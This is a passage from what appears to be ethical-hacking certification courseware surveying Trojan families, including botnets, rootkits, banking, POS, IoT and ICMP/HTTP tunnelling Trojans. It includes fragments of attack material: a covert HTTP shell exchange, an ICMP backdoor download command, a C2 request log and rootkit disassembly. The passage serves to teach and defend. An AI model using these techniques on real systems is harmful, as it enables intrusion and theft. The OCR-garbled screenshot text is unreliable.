Today, most major information security attacks involve botnets. Attackers (also known as "bot
herders" ) use botnet Trojans to infect a large number of computers throughout a large
geographical area to create a network of bots (or a " bot herd") that can achieve control via a
command-and-control (C&C) center. They trick regular computer users into downloading
Trojan-i nfected fil es to their systems through phishing, SEO hacking, URL redirection, etc. Once
the user downloads and executes this botnet Trojan in the system, it connects back to the
attacker using IRC channels and waits for further instructions. Some botnet Trojans also have
worm features and automatically spread to other syst ems in the network. They help an attacker
to launch various attacks and perform nefarious activities such as Dos attacks, spamming, click
fraud, and theft of application serial numbers, login IDs, and credit card numbers.

Module 07 Page 983 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

I!] I!] I!]


I!] Botnet
····· ····· ········ ·►
.:f I!] I!]
...c.....................►,§~·· · · · ·. . • Company Website

Botnet C&C.Server

Figure 7 .8: Functioning of Botnet

■ Necurs
The Necurs botnet is a distributor of many pieces of malware, most notably Dridex and
Locky. It delivers some of the worst banking Trojans and ransomware threats in batches
of millions of emails at a time, and it keeps reinventing itself. Necurs is distributed by
spam e-mails and downloadable content from questionable/illegal sites. It is indirectly
responsible for a significant portion of cyber-crime.
Features:
o Destruction of the system
o Turning a PC into a spying tool
o Electronic money theft
o Botnet and mining
o Serving as a gateway for other viruses

.- Re: - Message (Plain Text) - □

Message
"" G
~
MarkUmnd M, Fond
if 1, X t'/i, Mteling OneNote
Zt
a~ Related·
Delete •ply Repty Forward ~ Mon ,!l Adions • ul... Zoom
All 'f" follow Up ~ Seled •
Delete Re~ond Move Taos Edrtm!_ Zoom

0 Extra !me brnks In this message were removed.


From: Sent Tue 6/21/2016 12:01 PM
To:
Cc
SubJect R~
_J Message ~ services_ •.904539.zip (7 KB)

Dear mrinten:

Please f ind attached our invoice for services rendered and additional disbursements in the above• m ent ioned matter.

Hoping the above t o your satisfaction, we remain.

Sincerely,

Divisional Finance Director Necurs Botnet - Spam Email

Figure 7.9: Screenshot showing Necurs spam email for tricking a victim

Module 07 Page 984 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Some additional botnet Trojans are as follows:


• Electrum • Beta Bot
• Satori • Fritz Frog
■ Torii botnet • Bltxor20 botnet
■ Qakbot • DirtyMoe
■ Hide n Seek • Meris Botnet
• Ramnit • Cyclops Blink
• Panda
Rootkit Trojans

As the name indicates, "rootkit" consists of two terms, i.e., " root" and "kit." " Root" is a
UNIX/Linux term that is the equivalent of "administrator" in Windows. The word "kit" denotes
programs that allow someone to obtain root-/admin-level access to the computer by executing
the programs in the kit. Rootkits are potent backdoors that specifically attack the root or OS.
Unlike backdoors, rootkits cannot be detected by observing services, system task lists, or
registries. Rootkits provide full control of the victim OS to the attacker. Rootkits cannot
propagate by themselves, and this fact has precipitated a great deal of confusion. In reality,
rootkits are just one component of what is called a blended threat. Blended threats typically
consist of three snippets of code: dropper, loader, and rootkit. The dropper is the executable
program or file that installs the rootkit. Activating the dropper program usually entails human
intervention, such as clicking on a malicious e-mail link. Once initiated, the dropper launches
the loader program and then deletes itself. Once active, the loader typically causes a buffer
overflow, which loads the rootkit into memory.
■ EquationDrug Rootkit

EquationDrug is a dangerous computer rootkit that attacks the Windows platform. It


performs targeted attacks against various organizations and lands on the infected
system by being downloaded and executed by the Trickier dubbed "DoubleFantasy,"
covered by TSL20110614-01 {Trojan.Win32.Micstus.A). It allows a remote attacker to
execute shell commands on the infected system.

Module 07 Page 985 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

. text : 0001 2D22


. text: 0001 2D22 ; int _ s tdcall fnlnitDriuer(int pDruObj ,int punDruRegPath,int pFunc1 ,int pFunc2,int Flag)
. text: 0001 2D22 fnlnitDriuer proc near ; CODE XREF : DriuerEn try• 15! p
. text : 0001 2D2 2
. text: 00012D22 unOeuHaroe • d,iord pt r - 1 i,h
. text : 0001 2D22 uar_10 = d,iord ptr - 1 Oh
. text: 0001 2D22 uar_C = d,iord ptr - OCh
. text: 00012D22 ua..- 8 • d"'ord ptr - 8
. text: 00012D22 pDeuiceObj e ct = dword ptr - i,
. text : 00012D2 2 pOruObj = dword pt r 8
. text: 0001 202 2 punDruRegPa th • dwo rd pt r OCh
. text: 0001 2D22 pFunc 1 • dword pt r 1 Oh
. text : 00012D22 pFunc2 = dword pt r 1 i,h
. text : 00012D22 nag = dword pt r 1 Bh
. text : 0001 2D22
. text : 0001 2D22 edit_DruObj • e di
. text : 0001 2D22 55 pus h e bp
. text : 0001 2D23 88 EC nlOU ebp, es p
.text:0001 2D25 83 EC 1i, s ub e s p, 1i,h
. text : 00012D28 53 pus h e bx
. text : 0001 2D29 56 pus h es i
. text: 0001 2D2R 57 pus h e dit_Dr uObj
. text: 0001 2D28 68 "" 05 00 00 pus h 13i,9
. text : 00012D3 0 68 28 R7 01 00 pus h offset unk 1R728
. text :0001 2D35 EB 60 EC FF FF call fnDecryptData
. text : 00012D35
. text : 0001 2D3R FF 75 OC pus h [ e bp+punDruRegPath J
. text : 0001 2D3D 88 7D 08 nlOU e dit_Dr uObj , [ ebp•pDruObj J
. text: 0001 2oi,o 8D i,5 Fi, l ea ea>< . [ e bp+uar _C J
. text: 0001 2oi,a 89 3D DB ca 01 + nlOU pDruObj . edit_DruObj
. text : 00012oi,9 50 pus h eax
. text: 0001 2D"R EB 13 OC 00 00 call fnDi s sectPath
. text: 0001 2oi,n
. text : 00012D11F 8D i,5 Fi, lea eax , [ ebp+ua r _C J
. text :0001 2D52 50 pus h eax
. text : 0001 2D53 8D i,5 EC lea eax , [ ebp• unoeuHanie J
. text :0001 2D56 50 pus h e ax
. text : 0001 2D57 EB CO OC 00 00 c a ll fnCetDeuiceHa111e

Figure 7.10: Screenshot showing start of EquationDrug Rootkit

Some additional rootkit Trojans are as follows:


■ CEIDPagelock ■ Fire Chili rootkit
■ Wingbird ■ Purple Fox Rootkit
■ GrayFish ■ Dubbed Demodex Rootkit
■ Finfisher ■ Moon Bounce
■ ZeroAccess ■ Mariya
■ Whistler ■ iLOBleed
E-banking Trojans
E-banking Trojans are extremely dangerous and have emerged as a significant threat to online
banking. They intercept the victim' s account information before the system can encrypt it and
send it to the attacker's command-and-control center. Installation of these Trojans takes place
on the victim's computer when he or she clicks a malicious email attachment or a malicious
advertisement. Attackers program these Trojans to steal minimum and maximum monetary
amounts, so that they do not withdraw all th e money in the account, thereby avoiding
suspicion. These Trojans also create screenshots of the bank account st atement, so that th e
victim thinks th at there is no variation in his/her bank balance and is not aware of this fraud
unless he/she checks the balance from another system or an ATM . These Trojans may also steal

Module 07 Page 986 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

victims' data such as credit card numbers and billing details, and transm it them to remote
hackers via email, FTP, IRC, or other methods.
Uploads malicious
•advertisements >=
-
.. 3
~
Publishes malicious
advertisements on a legitim ate websi tes
................ ........ ........... . ................................. ........ ............. J)-
ii]
-

: ~················································: ~~-
Malware Server j Legitimate Websites
Attacker : : Victim Is directed to A
Trojan gets downloaded and ; malware server !
~ ......... . . ~~!~~l!~~.1.n.t.~ !~~-~1-~!':'!'~.sx~t~.'!1...... •• : : User accesses a
f) •
V 5
: legitimate website
! and clicks on a
! Trojan reports as a new bot : malicious Ad
i'~·· ···································· ····································· 7 ···· · i
. .... .. : ........~~~~r_u.~•!.!~~~~~ .•?.~~~~ ~.'~'-~:~ ~~~;.s.s.~~ -~~~~ _a_c_c_~~~! ...... :> ~···························:
Trojan reports victim's activities •
~ ···· · ··· ····· · ···· · ··· · · ··· · ···· ··· · · ····· · · ·· · ····· · · · ··· · · · · ····· 9 · · ·· · ' User
... • .........................................................................~
Instructs Trojan to manipulate victim's bank transaction
User: Transfer $100 :
Manipulated value : :
Command and Financial Institution
Transfer $1,000 :
~
Control Server
L. ........ 11 l
. . . .......
1:............................~~~~~.~~~'.'.~~~~. ~~!~':'.1!~~.'~~..~~~!~~·············<D·········j
Figure 7.11: Working of E-Banking Trojan

Working of E-banking Trojans

A banking Trojan is a malicious program that allows attackers to obtain personal information
about users of on line banking and payment systems.
The working of a banking Trojan includes the following:
■ TAN Grabber: A Transaction Authentication Number (TAN} is a single-use password for
authenticating online banking transactions. Banking Trojans intercept valid TANs
entered by users and replace them with random numbers. The bank will reject such
invalid random numbers. Subsequently, the attacker misuses the intercepted TAN with
the target's login details.
■ HTML Injection: The Trojan creates fake form fields on e-banking pages, thereby
enabling the attacker to collect the target's account details, credit card number, date of
birth, etc. The attacker can use this information to impersonate the target and
compromise his/her account.
■ Form Grabber: A form grabber is a type of malware that captures a target's sensitive
data such as IDs and passwords, from a web browser form or page. It is an advanced
method for collecting the target's Internet banking information. It analyses POST
requests and responses to the victim's browser. It compromises the scramble pad
authentication and intercepts the scramble pad input as the user enters his/her
Customer Number and Personal Access Code.
■ Covert Credential Grabber: This type of malware remains dormant until the user
performs an online financial transaction. It works covertly to replicate itself on the
computer and edits the registry entries each time the computer is started. The Trojan
also searches the cookie files that had been stored on the computer while browsing
financial websites. Once the user attempts to make an online transaction, the Trojan
covertly steals the login credentials and transmits them to the hacker.

Module 07 Page 987 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Some methods used by banking Trojans to steal users' information are as follows:
o Keylogging
o Form data capture
o Inserting fraudulent form fields
o Screen captures and video recording
o Mimicking financial websites
o Redirecting to banking websites
o Man-in-the-middle attack
■ E-banking Trojan: Dreambot

Dreambot banking Trojans are also known as updated versions of Ursnif or Gozi.
Dreambot Trojans have long been used by hackers, and they have been regularly
updated with more sophisticated capabilities. They can be delivered through the Emotet
dropper or RIG exploit kit. This Trojan can also be embedded as a macro in an MS word
document and sent to victims via spam emails. If this Trojan gets into the victim's
machine, it will covertly create registry keys and processes, and attempt to connect to
multiple malicious C2C servers.

2818-85-24 14 :41:44 https://uuuansdownew.net/1mages/Uood9S!r!Ku0xUH8t/wXzPbvfAF8 L/FzBkGRoJ8/w/ 2B\kU5q0al Ax/lJg


ekGre08d~DlBWa08br/0B1M3eYzULnnf 2F/Tu!V 2Bo0Uraf5U/qpHXaQpbz3CllbkAhl/N 2BWhaDK/e4K3b 2Bv230
mfDNaU\ w/ xV5WgLSG64 rE kCu J qSo/~1 JmQ10W 2B 2F pYer sX5u/VKk2EE rTAGYP J /wl kp8 2F /yqn 1Y80YXB loX f / k43
.bmp
text/html [no content] 166ms
Request
mult1part/form-data: boundary ■ 67170687642643026513623260419
Mozi\\a/4.0 (compatible: MS!E 8.0; Windows NT 10.0: W1n64; x64)
uuu(1nsdownew. net
373
Keep-Alive
no-cache
Raw [m:Raw)
-67170687642643026513623260419
Content-D1spos1t1on: form-data; name•··upload f1\e"": f1lename•··E1AC.b1n·

MSCF . ...... '· .. 0 .................. L. . 0103E7C4D200AF960B.]. :K .... CKM.O .. P. ... l .... y


. ct .. SJ .. J ..... A< ........ F ... X. c. KR<aB. . LI ... {.
J .......... ylwR ... Q . . . . . . . . rw.6. . .. 4.N ..... V..... z 0.'
--67170687642643026513623260419-
(71/82) [showhost) 7 :help q:back [• :8888)

Figure 7. 12: HTTPS request s to malicio us servers

After connecting to the C2C server, it will perform keylogging and send the keylog data
to the attacker. This keylog data can include passwords of banking websites, OTP
messages, secure transaction passwords, pins, etc.

Module 07 Page 988 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

File Edit Search View Encod ing Language Settings Macro Run Plugins Window ?
Iii Ila o (J ISi ~ ~ It) ~ c MJ 'w Qltn ==~ 11 l~ □ Ck] l) LJ
01D3E78D56884E360B ~ 43E-DAE-4f310B
09 - 05- 2018 13 : 41 : 22
C: \Program Files\Internet Explorer\iexplore . exe
Blank Page - Internet Explorer

google
Date of the collection
09- 05- 2018 13 : 41 : 3 84
...- -
C: \Program Files\Internet Explorer\iexplore . e xe
Blank Page - Internet Explorer
1
1 google . com Program related with the
1
1
1
1
09- 05- 2018 13 : 42 : 53 .,,,--
C: \Program Files (x86 ) \Notepad++\notepad++ . exe
keylogs

lt *new 1 - Notepad++
1
~ keylog data
1 passwrod password password raaa raaaraaaa ~
1 t his is my l ogin for my face book account : hello/hello123
2
21

Figure 7.13: Screenshot of Dreambot E-Banking Trojan - keylog data

Some additional e-banking Trojans are as follows:


■ Emotet ■ Escobar
■ Panda Banker ■ Xenomorph
■ Ramnit ■ SharkBot
■ Zeus ■ Bizarro
■ Dridex ■ ZE Loader
■ UrlZone Banker ■ EventBot
Point-of-Sale Trojans

As the name indicates, point-of-sale (POS) Trojans are a type of financial fraudulent malware
that target POS and payment equipment such as credit card/debit card readers. Attackers use
POS Trojans to compromise such POS equipment and grab sensitive information regarding
credit cards, such as credit card number, holder name, and CVV number. Since POS plays a
critical role in th e retail industry, th ese Trojans will have a greater impact on retail businesses
and ret ail customers. The magnetic stripe on a credit card consist s of two tracks, namely call ed
TRACKl and TRACK2 . These are critical for completing the transaction using a POS device.
Trackl and Track2 comprise critical information related to the credit card. Once a POS Trojan
affects and compromises a POS device, it attempts to grab the TRACKl and TRACK2 information

Module 07 Page 989 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

of the card that is inserted in the device. Once the attacker acquires this information, he/she
gets full control of the card and can easily perform financial fraud.
■ GlitchPOS

It is popularly known as GlitchPOS.A. GlitchPOS is a fake cat game that is embedded in


malware and not displayed at the time of execution. It is a Trojan that masquerades as a
cat game. When any victim installs the cat game, the Trojan will be executed in the
background. GlitchPOS is used by attackers to grab the credit card information of the
victim. GlitchPOS has become the most notorious financial Trojan, and its adverse
effects have spread across the globe. To steal the credit card information, this Trojan
searches for the Trackl and Track2 details in the memory pages of devices .

.J (Pnvate) Load A

~ ~ LabelS
1±1 .$El newgame
1±1 ~ Opt
s;J exit me
~ )ii List 2
1±1 s;) L
B ~ Visual Basic Resources
B ••· GamePath,frx
GamePath.frx: 0000
GamePath.frx: 5939
GamePath.frx: 650F
GamePath.frx: 1-BEE
GamePath.frx: 18027
GamePath.frx: 2DE2B
GamePath.frx: 2EF0A
GamePath.frx: 2FF92
GamePath.frx: 309( ~
GamePath.frx: 3082A
GamePath.frx: 30( 90
GamePath.frx: 30DF6
j
GamePath.frx: 30FSC
GamePath.frx: 3l0C2
GamePath.frx: 31228

Figure 7.14: Screenshot of GlitchPOS Trojan

Some additional POS Trojans are as follows:


■ LockPOS ■ CenterPOS
■ BlackPOS ■ MalumPOS

■ FastPOS ■ PinkKite

■ PunkeyPOS ■ NeutrinoPoS
Defacement Trojans

Defacement Trojans, once spread over the system, can destroy or change the entire content of
a database. However, they are more dangerous when attackers target websites, as they
physically change the underlying HTML format, resulting in the modification of content. In

Module 07 Page 990 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

addition, significant losses may be incurred due to the defacement of e-business targets by
Trojans.
Resource editors allow one to view, edit, extract, and replace strings, bitmaps, logos, and icons
from any Windows program. They allow viewing and editing of nearly any aspect of a compiled
Windows program, from menus to dialog boxes and icons, etc. They employ user-styled custom
applications (UCAs) to deface Windows applications.

Cakulator - D X Cakulator - D X

- Standard - Standard
lvouAr• H•chd llllll
0 0
M• M· MS M• M· MS

CE

C
x'

<El
'Ix
............. ►
%

CE

C
x'

<El
'Ix

7 8 9 X 7 8 9 X

4 s 6 - 4 5 6 -

1 2 3 + 1 2 3 +
± 0 = ± 0 =
Original calc.exe Defaced calc.exe

Figure 7. 15: Screenshot showing d efaced ca lc.exe ap plication

■ Restorator

Source: https://www.bome.com
Restorator is a utility for editing Windows resources in applications and their
components (e.g., files with .exe, .dll, .res, .re, and .dcr extensions). It allows you to
change, add, or remove resources such as t ext, images, icons, sounds, videos, versions,
dialogs, and menus in nearly all programs. Using this tool, one can achieve
translation/localization, customization, design improvement, and development.
Features:

o Translat e existing applications (localization)


o Custom ize the look and feel of programs
o Replace logos and icons (branding)
o Enhance control over resource fil es in the software development process
o Hack into the inner workings of appl ications on the computer

Module 07 Page 991 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

la ~1oral0< 2018 - 0 X

GIP l!D Iii

Figure 7.16: Screenshot of Restorator

Service Protocol Trojans


These Trojans can take advantage of vulnerable service protocols such as VNC, HTTP/HTTPS,
and ICMP, to attack the victim's machine.
■ VNC Trojans
A VNC Trojan starts a VNC server daemon in the infected syst em (victim), whereby the
attacker connects to the victim using any VNC viewer. Since the VNC program is
considered a utility, this Trojan will be difficult to detect using antivirus software. Well-
known financial malware such as Vultur, Dridex, Neverquest, and Gozi employ a hidden
virtual network computing (HVNC) module, which allows attackers to gain user-grade
access to an infected PC.

Attacker Victim VNC Server

Figure 7.17: Working of VNC Trojan

Module 07 Page 992 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ HTTP/HTTPS Trojans

HTTP/HTTPS Trojans can bypass any firewall and work in reverse, as opposed to a
straight HTTP tunnel. They use web-based interfaces and port 80. The execution of
these Trojans takes place on the internal host and spawns a child program at a
predetermined time. The child program is a user to the firewall; hence, the firewall
allows the program to access the Internet. However, this child program executes a local
shell, connects to the webserver that the attacker owns on the Internet through an
apparently legitimate HTTP request, and sends it a ready signal. The apparently
legitimate answer from the attacker's web server is, in fact, a series of commands that
the child can execute on the machine's local shell. The attacker converts all the traffic
into a Base64-like structure and gives it as a value for a cgi-string to avoid detection.
The following is an example of a connection:
Slave: GET/cgi-bin/order?
M5mAejTgZdgYOdgIO0BqFfVYTgjFLdgxEdb1He7krj HTTP/1.0
Master replies with: gSmAlfbknz
The GET of the internal host (SLAVE) is the command prompt of the shell; the answer is
an encoded "1s" command from the attacker on the external server (MASTER). The
SLAVE tries to connect to the MASTER daily at a specified time. If necessary, the child is
spawned if the shell hangs; the attacker can check and fix it the next day. If the
administrator sees connections to the attacker's server and connects it to his/her server,
he/she just sees a broken web server because there is a token (password) in the
encoded cgi GET request. Support for WWW proxies (e.g., Squid, a fully featured web
proxy cache) is available. The program masks its name in the process listing. The
programs are reasonably small; the master and slave programs consist of only 260 lines
per file. Usage is easy: edit rwwwshell.pl for the correct values, execute " rwwwshell.pl
slave" on the SLAVE, and run "rwwwshell.pl" on the MASTER just before the slave tries
to connect.

HTTP request to

k.~.--...........................
download a file
······················► •
<······················· Trojan passes through .,__..__
Victim HTTP reply Server

Figure 7.18: Working of HTTP Trojan

o SHTTPD

SHTTPD is a small HTTP server that can be embedded inside any program. It can be
wrapped with a genuine program (game chess.exe). When executed, it will turn a
computer into an invisible web server. For instance, an attacker connects to th e
victim using web browser http://10.0.0.5:443 and infects the victim's computer with
chess.exe, with Shttpd running in the background and listening on port 443 (SSL) .

Module 07 Page 993 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Attacker Normally Firewall allows Victim


Encrypted Traffic
IP: 10.0.0.5:443 you through port 443 IP: 10.0.0.8:443

Figure 7 .19: SHTTPD attack process

o HTTP RAT

HTTP RAT uses web interfaces and port 80 to gain access. It can be understood
simply as an HTTP tunnel, except that it works in the reverse direction. These Trojans
are comparatively more dangerous as they work nearly ubiquitously where the
Internet can be accessed.
Features

o Displays ads and records personal data/keystrokes


o Downloads unsolicited files and disables programs/system
o Floods Internet connection and distributes threats
o Tracks browsing activities and hijacks Internet browser
o Makes fraudulent claims about spyware detection and removal

x ■ e ■■ ~~t~.'!~~:.~i~i~':.:~~~.u_t;~.":'!t.h. ~:.~~:; ;.~~ -~~~f-1~~! .~~~ .T:?!~~ .......... !)-- -...- ,


,
~•'!. .•t,-1:~· e.
:..~~~-~r~!~~ .s.e.~~~ ~~.: r:1.a!I.~!~~ !~~.1?:~~i■o■n■ ?! .a.n. ~~ ~~~:~:!.
: ..9 ..............................................►
Iv 1111111,

: : Connect to the IP address using a

.:: .:
:
browser t o port 80 Victim

~
Generates :
server . exe :

Figure 7.20: Wo rking of HTTP RAT Trojan

• ICMP Trojans

The Internet Control Message Protocol (ICMP) is an integral part of IP, and every IP
module must implement it. It is a connectionless protocol that provides error messages
to unicast add resses. The ICMP protocol enca psulates the packets in IP datagrams.

Module 07 Page 994 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

An attacker can hide the data using covert channels methods in a protocol that is
undetectable. The concept of ICMP tunneling allows one protocol to be carried over
another protocol. ICMP tunneling uses ICMP echo request and reply to carry a payload
and stealthily access or control the victim's machine. Attackers can use the data portion
of ICMP_ECHO and ICMP_ECHOREPLY packets for arbitrary information tunneling.
Network layer devices and proxy-based firewalls do not filter or inspect the contents of
ICMP_ECHO traffic, making the use of this channel attractive to hackers.
Attackers simply pass, drop, or return the ICMP packets. The Trojan packets themselves
masquerade as common ICMP_ECHO traffic. The packets can encapsulate (tunnel) any
required information.

0~ ICMP Client
ICMPTrojan:
ICMP Server
O {Comma nd:
icmpsend {Command:
""- icmpsend <victim IP>) icmpsrv -install)

II Command Prompt
c: \Oocu."'lents and sett1.nqs\Adrunistrator\WINDOWS\Oesttop\
ICMP Bactdoor Win32>i=Foend 127 .0. 0 .1
===Welcol'\e to www. hacterxfiles . net===
--- [ ICMP- ~ vl.O beta, by gxisone ] ---
Commands are sent
---[ E-1'\ail
--- [
xisone~hot."'lilil . co:-i 1---
2003/8/15 =I using ICMP protocol
l ---
u,age : ic:'lpsend Re=teIP ·····························3>
Ctrl+C or Q/q to Quite H/h for help

[http://127 . 0 . 0 . l /hack . exe • ad.".U.n . exe] <Download Files


Par th is \ \syste!"I 32>
[psli:it] <List the Procei::.!I>
[pskill ID) <Ki l l the Pi-ocess>
Co~nd <nm the co~nd>
ICMP- CMD>

Figure 7.21: Working of ICMP Trojan

Mobile Trojans

Mobile Trojans are malicious software that target mobile phones. Mobile Trojan attacks are
increasing rapidly due to the global proliferation of mobile phones. The attacker tricks the
victim into installing the malicious application. When the victim downloads the malicious app,
the Trojan performs various attacks such as banking credential stealing, social networking
credential stealing, data encryption, and device locking.
■ BasBanke

BasBanke is a Trojan family that runs on Android. The Trojan was first identified in 2018
during the Brazilian elections, registering over 10,000 installations as of April 2019 from
the official Google Play Store alone. It is a banking Trojan, and when it infects a device, it
will perform keystroke logging, screen recording, SMS interception, and theft of credit
card and financial information. To trick users into downloading this Trojan, the Trojan
creators advertised it via WhatsApp and Facebook messages. The most widely spread
and downloaded malicious version of BasBanke is the fake CleanDroid Android app.
CleanDroid projects itself as a mobile junk cleaning and memory boosting app; however,
it is actually a banking Trojan.

Module 07 Page 995 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

f1i! 00 • l!!I Q ts! V ""' ! 24% 03:42 al QO


• a0•"" _ 28% 03:24

0 i 'lttpS://m.facebook.com G) : f- Google Play a..

~
CleanDroid
'1' I Clean Droid MatriFOT
._. Patrocinado ~
Arte e design NUmero 8: Em alta
100% Gratis esse APP promete ate 70% em economia
de dados 3G/ 4G, protege seus arquivos contra virus,
otim iza seu celular limpando arquivos que provocam a
lentidao. CleanDroid e um salva-vidas para aqueles
que adoram musica e video, enviam muitas
EiMdifaE
mensagens e traba lham em aplica9oes em seus
celulares Android. Nao perca tempo baixe e confira. 4,6* II a Mais
14 ava1iac;5es 3,2MB Classif1car;80 Dow
livreQ

Economin•e.tu,,.,..nte1velood.ide
~ p.xott' 11'- dJdos lGt4G

cleandrold.gplay.services
CleanDroid - Unico
CleanDrold • Unico Aplicativo de seguram;a reco ...

0 0 -- 61
[ BAIXAR

6 compartilhamentos
J

___
.,,
I,,; - ---

Curtir Comentar Compartilhar


Somos o unico aplicativo que possui mais recursos

Figure 7.22: Screenshot of BasBanke Mobile Trojan

Some additional mobile Trojans are as follows:

• Agent Smith • Asacub


• Hiddad • Gustuff
• AndroRAT • GriftHorse
• Rotexy • Vultur
• Gplayed
loTTrojans
Internet of things (loT) refers to the inter-networking of physical devices, buildings, and other
items embedded with electronics. loT Trojans are malicious programs that attack loT networks.
These Trojans leverage a botnet to attack other machines outside the loT network.
• Mirai
Mirai is a self-propagating loT botnet that infects poorly protected Internet devices (loT
devices). Mirai uses telnet port (23 or 2323) to find those devices that are still using
their factory default username and password. Most loT devices use default usernames
and password s. Mirai can infect such insecu re devices (bots) and co-ordinate them to
mount a DDoS attack against a chosen victim .

Module 07 Page 996 Ethical Hacking and Countermeasures Copyright © by EC-Council


A ll Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Features:

o Login attempts with 60 different factory default username and password pairs
o Built for multiple CPU architectures (x86, ARM, Spare, PowerPC, Motorola)
o Connects to C&C to allow the attacker to specify an attack vector
o Increases bandwidth usage for infected bots
o Identifies and removes competing malware
o Blocks remote administration ports

Connection to 5.206.225.96 23 port [tcp/telnet] succeeded!


I ...
@88> @88>
%8P .u . %8P
. 888: x888 x888 . . d888 :@Sc u
~ 8888~'888X ?888f .@88u =--8888f8888r us888u . .@88u
X888 888X '888> '' 888E 4888>'88- . @88 -3333- ''888E
X888 888X '888> 888E 4888> ' 9888 9888 888E
X888 888X '888> 888E 4888> 9888 9888 888E
X888 888X '888> 888E .d888L .+ 9888 9888 888E
-*88%--*88-
~ ,,
'888!
,,
888& A-8888* _, 9888 9888 888&
R888- ·-y-· -888*--888- R888-
Ay -- T

- A text-based MUD by lb .c1r P,,i,,,,J, ,k11l11s -

No account? Register at www.elrooted.com


Enter user yop
yop
Enter pass yop
***
Disconnected by server.

Figure 7 .23: Screensh ot displaying Mirai DDoS attack botnet Troj an

Prevention:

o Using anti-Trojan software and updating usernames and passwords can prevent
Mirai DDoS botnet Trojan attacks.
Some additional loT Trojans are as follows :
■ Silex BrickerBot ■ Gafgy Botnet
■ Satori ■ Katana
■ Torii botnet ■ BotenaGo
■ Miori loT Botnet ■ Ttint
■ Bashlite loT Malware ■ Dark Nexus

Module 07 Page 997 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Security Software Disabler Trojans

Security software disabler Trojans stop the working of security programs such as firewalls, and
IDS, either by disabling them or killing the processes. These are entry Trojans, which allow an
attacker to perform the next level of attack on the target system.
Some security software disabler Trojans are as follows:
■ Certlock
■ GhostHook
■ Trojan.Disabler
Destructive Trojans

The sole purpose of a destructive Trojan is to delete files on a target system. Antivirus software
may not detect destructive Trojans. Once a destructive Trojan infects a computer system, it
randomly deletes files, folders, and registry entries as well as local and network drives, often
resulting in OS failure.
Destructive Trojans are written as simple crude batch files with commands such as "DEL,"
"DELTREE," or "FORMAT." This destructive Trojan code is usually compiled as .ini, .exe, .dll, or
.com files. Thus, it is difficult to determine if a destructive Trojan causes a computer system
infection. The attacker can activate these Trojans or they can be set to initiate at a fixed time
and date.
Shamoon is still considered as the most destructive Trojan. Shamoon uses a Disttrack payload
that is configured to wipe systems as well as virtual desktop interface snapshots. This Trojan
propagates internally by logging in using legitimate domain account credentials, copying itself
to the system, and creating a scheduled task that executes the copied payload. Other currently
prevalent destructive Trojans include Dimnie, GreyEnergy, Killdisk, HermeticWiper,
WhisperGate, and FoxBlade.
DDoS Trojans

These Trojans are intended to perform DDoS attacks on target machines, networks, or web
addresses. They make the victim a zombie that listens for commands sent from a DDoS Server
on the Internet. There will be numerous infected systems standing by for a command from the
server, and when the server sends the command to all or a group of the infected systems, since
all the systems perform the command simultaneously, a considerable amount of legitimate
requests flood the target and cause the service to stop responding. In other words, the
attacker, from his/her computer along with several other infected computers, sends multiple
requests to the victim and overwhelm the target, leading to a Dos. This can also be achieved by
mass spam emails.
Mirai loT botnet Trojan is still considered as one of the most notorious DDoS attack Trojans.
Other recently discovered DDoS attack Trojans that have affected a large number of systems
and networks and caused major disruptions in businesses include Electrum DDoS botnet and
Bushido Botnet. All these DDoS Trojans have similar attack strategies. They identify the

Module 07 Page 998 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

unsecured devices in a network and enslave them to launch a DDoS attack on the victim's
machine. Once installed on a Windows computer, the Trojan connects to a command-and-
control (C&C) server from which it downloads a configuration file containing a range of IP
addresses to attempt authentication over several ports. Along with the infected botnet
zombies, it performs DDoS attacks in which a zombie floods a target server/machine with
malicious traffic.
Command Shell Trojans

